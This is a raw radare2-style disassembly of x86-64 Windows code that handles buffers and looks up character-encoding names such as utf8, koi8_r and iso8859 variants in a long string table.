call fcn.14005b036
mov eax, 1
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0x3e0]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0x88]
jmp 0x14001ab6c
mov r9, rsi
mov r10, rsi
lea r15, [rsp + 0xc0]
jmp 0x14001ad17
mov r9, qword [rsp + 0x238]
cmp cl, 0x3b
jne 0x14001b3c5
cmp r9, qword [rsp + 0x60]
lea r15, [rsp + 0xc0]
jbe 0x14001b3c5
lea r10, [r9 + 1]
jmp 0x14001ad17
mov r14b, 1
mov qword [rsp + 0x88], rcx
jmp 0x14001b041
mov r14b, 2
mov qword [rsp + 0x88], rax
mov r12, rcx
lea r15, [rsp + 0xc0]
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov ebp, 0xff
mov rsi, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa0]
mov rcx, r15
call fcn.14005b036
mov eax, 2
jmp 0x14001a659
mov qword [rsp + 0x88], rax
mov r12, qword [rsp + 0x238]
mov r14b, 3
jmp 0x14001b041
mov r9, qword [rsp + 0xc0]
mov r14b, byte [rsp + 0xc8]
mov dl, byte [rsp + 0xc9]
mov eax, dword [rsp + 0xca]
movzx r10d, word [rsp + 0xce]
shl r10, 0x20
or r10, rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x190], rax
mov eax, 2
cmp r9, 3
mov r8, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x210]
jne 0x14001b116
mov qword [rsp + 0x98], r10
mov qword [rsp + 0x88], rdx
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov ebp, 0xff
mov rsi, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x190]
jmp 0x14001a669
mov qword [rsp + 0x98], r12
movzx eax, r14b
movzx ecx, dl
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0xb0], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0xa0], rdx
shl rcx, 8
or rcx, rax
shl r10, 0x10
mov rax, r10
or rax, rcx
cmp r9, 2
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x80], r9
je 0x14001b1cd
cmp r9, 1
jne 0x14001b1e6
mov rcx, rsi
call fcn.1400b14fe
mov r14, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x288]
test rdx, rdx
mov rdi, qword [rsp + 0xa0]
je 0x14001b245
cmp rsi, rdx
jbe 0x14001b23f
cmp byte [r14 + rdx], 0xbf
jg 0x14001b245
jmp case.0x14001c076.10
mov r14b, 3
mov cl, 0x20
mov r12, rax
jmp 0x14001b021
cmp r13, rsi
jae 0x14001b20a
cmp byte [rdi + r13], 0xbf
mov rsi, qword [rsp + 0xb0]
jg 0x14001b218
jmp case.0x14001c076.10
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
lea rcx, [rsp + 0x230]
mov rdx, rdi
mov r8, rsi
call fcn.14005afe4
mov rsi, qword [rsp + 0xb0]
jmp 0x14001b232
mov rsi, qword [rsp + 0xb0]
jne case.0x14001c076.10
lea rcx, [rsp + 0x230]
mov rdx, rdi
mov r8, r13
call fcn.14005afe4
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov rdi, qword [rsp + 0xa0]
jmp 0x14001b343
jne case.0x14001c076.10
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0x60], r14
mov rcx, r14
call fcn.14005b051
mov rax, rdi
shl rax, 5
mov qword [rsp + 0x68], rax
xor r15d, r15d
mov r14, qword [rsp + 0x190]
cmp qword [rsp + 0x68], r15
je 0x14001b307
mov rdi, qword [r14]
mov r13, qword [r14 + 8]
mov r12, qword [rsp + 0x60]
mov rcx, r12
mov rdx, rsi
mov r8, rdi
mov r9, r13
call fcn.14005b079
mov rcx, rax
call fcn.14005b051
mov rcx, r12
mov rdx, rsi
mov r8, rdi
mov r9, r13
call fcn.1400a58ac
mov r9d, 7
mov rcx, rax
lea r8, [0x140164262]
call fcn.1400b4ce3
test al, al
je 0x14001b2f2
mov rax, qword [rsp + 0x190]
mov r8, qword [rax + r15 + 0x10]
mov r9, qword [rax + r15 + 0x18]
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call fcn.14005b079
mov rcx, rax
call fcn.14005b051
add r14, 0x20
add r15, 0x20
mov rdi, qword [rsp + 0xa0]
jmp 0x14001b271
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], rsi
lea r15, [rsp + 0xc0]
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov rsi, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x240]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 7], rax
mov rax, qword [rsp + 0x230]
mov qword [rcx - 9], rax
mov rax, qword [rsp + 0x238]
mov qword [rcx - 1], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xcf]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmmword [rsp + 0x1af], xmm1
mov eax, ebp
shr eax, 8
mov qword [rsp + 0x88], rax
mov rax, rbp
shr rax, 0x10
mov r9b, 1
mov r8, qword [rsp + 0x190]
mov r14d, ebp
mov ebp, 0xff
mov rcx, qword [rsp + 0x98]
jmp 0x14001a684
mov cl, 0x22
mov qword [rsp + 0x88], rcx
mov r14b, 3
mov r12, r9
jmp 0x14001b039
mov rcx, r15
lea r8, [rsp + 0x400]
call fcn.1400a58a4
mov rcx, qword [rsp + 0xc0]
cmp rcx, 2
jne 0x14001b3fd
mov al, 5
jmp 0x14001b525
mov rax, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xd0]
lea rdx, [rsp + 0xd0]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x410], xmm0
test rcx, rcx
je 0x14001b90d
test rax, rax
je 0x14001b953
movaps xmm0, xmmword [rsp + 0x410]
lea rcx, [rsp + 0x160]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rsi
lea rcx, [rsp + 0x798]
lea rdx, [rsp + 0x150]
jmp 0x14001b6b7
mov rcx, r15
lea r8, [rsp + 0x400]
call fcn.1400a58a4
mov rcx, qword [rsp + 0xc0]
cmp rcx, 2
jne 0x14001b490
mov al, 3
jmp 0x14001b525
mov rax, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xd0]
lea rdx, [rsp + 0xd0]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x410], xmm0
test rcx, rcx
je 0x14001b8e7
test rax, rax
je 0x14001b905
mov byte [rsp + 0x790], 1
mov qword [rsp + 0x768], rax
mov qword [rsp + 0x770], rsi
movaps xmm0, xmmword [rsp + 0x410]
lea rax, [rsp + 0x450]
movups xmmword [rax + 0x328], xmm0
lea rdx, [rsp + 0x788]
mov qword [rsp + 0x798], rdx
mov rcx, r15
lea r8, [rsp + 0x400]
call fcn.1400a58a4
mov rcx, qword [rsp + 0xc0]
cmp rcx, 2
jne 0x14001b598
mov al, 4
mov ebp, dword [rsp + 0x70]
mov byte [rsp + 0x791], al
mov al, 3
mov byte [rsp + 0x7d8], al
mov byte [rsp + 0x7e0], al
cmp ebp, 0x3b9aca00
jne 0x14001b54f
call fcn.1400b34ef
jmp 0x14001b587
call fcn.1400b45fc
mov rsi, rax
mov edi, edx
mov rcx, rax
mov r8, rbx
mov r9d, ebp
call fcn.1400a5d50
test al, al
jne 0x14001b8b4
mov rcx, rbx
mov edx, ebp
mov r8, rsi
mov r9d, edi
call fcn.1400c9764
mov rcx, rax
call fcn.1400b4790
mov al, byte [rsp + 0x7e0]
mov ebp, 0xff
jmp 0x14001a3cb
mov rax, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xd0]
lea rdx, [rsp + 0xd0]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x410], xmm0
test rcx, rcx
je 0x14001b96d
test rax, rax
je 0x14001b968
mov qword [rsp + 0x7b8], rax
mov qword [rsp + 0x7c0], rsi
movaps xmm0, xmmword [rsp + 0x410]
lea rsi, [rsp + 0x450]
movups xmmword [rsi + 0x378], xmm0
mov rdx, qword [rsp + 0x788]
mov rcx, r15
call fcn.14007c3b9
mov rax, qword [rsp + 0xd0]
mov ecx, 0x4000
cmp rax, rcx
cmovae rax, rcx
mov rcx, qword [rsp + 0x778]
add rcx, qword [rsp + 0x7c8]
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
add rcx, rax
cmovb rcx, rdx
call fcn.1400b14fe
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], rdx
and qword [rsp + 0x7a8], 0
mov byte [rsp + 0x790], 0
lea rax, [rsp + 0x768]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
lea rdi, [rsp + 0x798]
mov rcx, rdi
mov rdx, r15
call fcn.1400a5a44
movups xmm0, xmmword [rsi + 0x368]
movups xmm1, xmmword [rsi + 0x378]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, rdi
mov rdx, r15
call fcn.1400a5a44
lea rdx, [rsp + 0x788]
mov qword [rsp + 0x7b0], rdx
jmp 0x14001b3d8
xor eax, eax
lea r12, [rsp + 0x5f8]
test rax, rax
cmove rax, r14
mov qword [rsp + 0x5f0], rax
mov r8d, 0x98
mov rcx, r12
lea rdx, [rsp + 0x4f8]
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x7d8], 0
mov r8d, 0x98
lea rcx, [rsp + 0x690]
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov r8d, 0x90
mov rcx, r15
mov rdx, r12
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0xd0]
movups xmm0, xmmword [rax + 0x60]
movups xmm1, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
mov rcx, r15
call fcn.140065e6d
mov ecx, 0xd
lea rax, [rsp + 0x728]
mov rdi, rax
lea rsi, [rsp + 0x1a0]
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x791], 0
mov byte [rsp + 0x790], 0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rsp + 0x748]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x788], rax
lea rdx, [rsp + 0x788]
mov qword [rsp + 0x798], rdx
jmp 0x14001b46b
inc r11
cmp r11, rdx
je 0x14001b7d6
movzx r8d, byte [r11]
cmp r8, 0x20
ja 0x14001b6d1
bt r10, r8
jb 0x14001b7b5
jmp 0x14001b6d1
cmp rax, 0x14
jae case.0x14001c076.10
mov edx, 0xe4
xor r8d, r8d
mov r9d, 0xe4
lea r12, [rsp + 0x5f8]
cmp r8, rdx
jae 0x14001b89d
shr r9, 1
add r9, r8
mov r11, r9
shl r11, 4
xor r10d, r10d
cmp qword [r11 + r13 + 8], rax
setne r10b
cmovb r10d, ebp
jne 0x14001b87a
mov rsi, qword [r11 + r13]
mov rdi, rcx
mov r10, rdi
cmp rdi, 0xffffffffffffffff
je 0x14001b85b
mov bl, byte [rsi + r10]
xor r11d, r11d
cmp bl, byte [rsp + r10 + 0xc0]
setne r11b
cmovb r11d, ebp
lea rdi, [r10 - 1]
test r11b, r11b
je 0x14001b825
lea rsi, [rsp + 0xc1]
add rdi, rsi
jmp 0x14001b85e
mov rdi, r15
cmp r15, rdi
setne bl
neg bl
cmp r10, 0xffffffffffffffff
movzx esi, bl
movzx r10d, r11b
cmove r10d, esi
mov rbx, qword [rsp + 0x78]
test r10b, r10b
je 0x14001b8a4
cmp r10b, 1
cmove rdx, r9
inc r9
cmp r10b, 0xff
cmove r8, r9
mov r9, rdx
sub r9, r8
jmp 0x14001b7f6
xor eax, eax
jmp 0x14001b6db
lea rax, [0x14013a768]
mov rax, qword [rax + r9*8]
jmp 0x14001b6db
movzx eax, byte [rsp + 0x7e0]
test eax, eax
je 0x14001bcb9
cmp eax, 3
jne 0x14001bcc6
mov rcx, r12
call fcn.1400a6e8a
lea rcx, [rsp + 0x590]
call fcn.1400a6f2d
jmp 0x14001bcc6
xorps xmm0, xmm0
movaps xmmword [rsp + 0x820], xmm0
lea rsi, [0x14018edf8]
lea r14, [0x140163580]
jmp 0x14001b9d4
xor r14d, r14d
jmp 0x14001b9d4
lea rcx, [rsp + 0x798]
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x410]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0xc0]
mov rcx, rdi
call fcn.1400288a8
mov r14, qword [rdi]
mov rsi, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x820], xmm0
jmp 0x14001b9d4
mov rcx, qword [rsp + 0x798]
mov rdx, qword [rsp + 0x7a0]
call fcn.140025ee7
xor r14d, r14d
jmp 0x14001b9bd
mov r14, qword [rsp + 0x768]
mov rsi, qword [rsp + 0x770]
movups xmm0, xmmword [rsp + 0x778]
movaps xmmword [rsp + 0x820], xmm0
lea rax, [0x14010de58]
mov qword [rsp + 0x768], rax
lea rax, [0x14018edf8]
mov qword [rsp + 0x770], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x450]
movups xmmword [rax + 0x328], xmm0
cmp byte [rsp + 0x790], 0
je 0x14001b9d4
lea rcx, [rsp + 0x768]
call fcn.14003f2f9
mov byte [rsp + 0x790], 0
lea rcx, [rsp + 0x748]
call fcn.140065b00
movaps xmm0, xmmword [rsp + 0x820]
movaps xmmword [rsp + 0x7f0], xmm0
mov bl, 1
mov byte [rsp + 0x791], bl
movaps xmmword [rsp + 0x3f0], xmm0
lea rcx, [rsp + 0x728]
call fcn.1400a6ed3
mov rcx, qword [rsp + 0x720]
call fcn.140094bed
movaps xmm0, xmmword [rsp + 0x3f0]
movaps xmmword [rsp + 0x270], xmm0
mov byte [rsp + 0x7d8], bl
mov rcx, r12
call fcn.1400a6e8a
test r14, r14
jne 0x14001ba5a
lea rcx, [rsp + 0x590]
call fcn.1400a6f2d
jmp 0x14001c317
movaps xmm0, xmmword [rsp + 0x270]
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x230], r14
mov qword [rsp + 0x238], rsi
mov r14, qword [rsp + 0x5f0]
mov r15, qword [rsp + 0x240]
lea r8, [0x140162bf0]
mov edi, 3
mov r9d, 3
mov rcx, rsi
mov rdx, r15
call fcn.1400aaa78
test al, al
je 0x14001bab4
lea rax, [0x140162c08]
jmp 0x14001bb06
lea r8, [0x140162bf3]
mov edi, 2
mov r9d, 2
mov rcx, rsi
mov rdx, r15
call fcn.1400aaa78
test al, al
je 0x14001bade
lea rax, [0x140162c00]
jmp 0x14001bb06
lea r8, [0x140162bf5]
mov edi, 2
mov r9d, 2
mov rcx, rsi
mov rdx, r15
call fcn.1400aaa78
test al, al
je 0x14001bb15
lea rax, [0x140162bf8]
sub r15, rdi
jb case.0x14001c076.10
mov r14, qword [rax]
add rsi, rdi
lea rax, [0x140138ea0]
cmp r14, rax
je 0x14001bb59
lea rax, [0x140138f50]
cmp r14, rax
je 0x14001bb59
lea rax, [0x140138e78]
cmp r14, rax
je 0x14001bb59
lea rax, [0x140138ec8]
cmp r14, rax
jne 0x14001bbc9
mov rcx, rsi
mov rdx, r15
call fcn.140036d26
jmp 0x14001bc00
lea rbx, [rsp + 0x1a0]
mov rcx, rbx
mov rdx, r14
call fcn.140036a30
mov rcx, rbx
mov rdx, r15
call fcn.140036a56
mov rbx, rax
test rax, rax
je 0x14001bba4
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rdx, 2
mov r14d, 1
cmovae r14, rax
lea rcx, [rsp + 0x1a0]
mov rdx, r15
call fcn.140036baf
cmp rbx, 1
jne 0x14001bc0f
cmp rax, 1
jne 0x14001bc1b
cmp r14, rdx
cmovae r14, rdx
jmp 0x14001bc1b
lea rax, [0x140138b60]
cmp r14, rax
jne 0x14001bccf
xor ecx, ecx
mov r8d, 0x800c000
cmp r15, rcx
je 0x14001bc08
mov rax, rcx
movzx edx, byte [rsi + rcx]
test dl, dl
js 0x14001bc00
lea rcx, [rax + 1]
cmp edx, 0x1b
ja 0x14001bbe1
bt r8d, edx
jae 0x14001bbe1
mov rdi, r15
sub rdi, rax
jne 0x14001bc33
xor eax, eax
jmp 0x14001c2ca
mov r14, rdx
test rax, rax
je case.0x14001c076.10
xor r12d, r12d
mov rcx, r14
xor edx, edx
call fcn.140025f10
mov r13, rax
mov rbp, rdx
jmp 0x14001bd48
mov rbx, rax
lea r12, [rsp + 0x1a0]
mov rcx, r12
mov rdx, r14
call fcn.140036a30
mov rcx, r12
mov r12, rbx
mov rdx, rdi
call fcn.140036a56
cmp rax, 1
setne al
add rdx, rbx
setb bl
or bl, al
jne 0x14001bc8d
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rdx, 2
mov r14d, 1
cmovae r14, rax
lea rcx, [rsp + 0x1a0]
mov rdx, rdi
call fcn.140036baf
cmp rax, 1
setne cl
add rdx, r12
setb al
or al, cl
test bl, bl
je 0x14001bd00
test al, al
je 0x14001bd2a
jmp case.0x14001c076.10
lea rcx, [rsp + 0x450]
